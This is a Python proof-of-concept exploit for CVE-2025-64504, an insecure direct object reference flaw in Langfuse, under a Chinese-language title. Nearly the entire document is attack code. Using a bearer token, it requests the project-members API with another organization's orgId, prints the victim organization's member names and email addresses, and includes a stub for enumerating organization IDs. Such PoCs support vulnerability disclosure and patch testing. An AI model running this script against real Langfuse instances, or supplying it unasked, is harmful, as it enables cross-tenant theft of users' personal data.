CVE-2025-64504 Langfuse 跨组织用户信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-64504 PoC - Langfuse IDOR Vulnerability Langfuse versions 2.70.0 - 2.95.10 and 3.0 - 3.124.0 This PoC demonstrates how an authenticated user can enumerate user information from other organizations by manipulating the orgId parameter. """ import requests import json TARGET_URL = "https://your-langfuse-instance.com" ATTACKER_TOKEN = "your-auth-token-here" TARGET_ORG_ID = "target-organization-id-here" def exploit(): """ Exploit the IDOR vulnerability to leak user information from a target organization. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get the legitimate member list (attacker belongs to this org) attacker_org_id = "attacker-organization-id" legitimate_url = f"{TARGET_URL}/api/v1/project/members?orgId={attacker_org_id}" print("[*] Step 1: Fetching legitimate member list...") response = requests.get(legitimate_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully fetched member list for org: {attacker_org_id}") # Step 2: Exploit IDOR - manipulate orgId to access target org members malicious_url = f"{TARGET_URL}/api/v1/project/members?orgId={TARGET_ORG_ID}" print(f"[*] Step 2: Exploiting IDOR - accessing target org: {TARGET_ORG_ID}") response = requests.get(malicious_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] VULNERABLE! Retrieved member information from target org:") if "data" in data: for member in data.get("data", []): print(f" - Name: {member.get('name', 'N/A')}") print(f" Email: {member.get('email', 'N/A')}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False def find_org_id(): """ Enumerate organization IDs by checking different orgId values. """ print("[*] Enumerating organization IDs...") # This would require knowing or guessing org IDs # Attackers might obtain org IDs through other means pass if __name__ == "__main__": print("CVE-2025-64504 Langfuse IDOR PoC") print("=" * 50) exploit()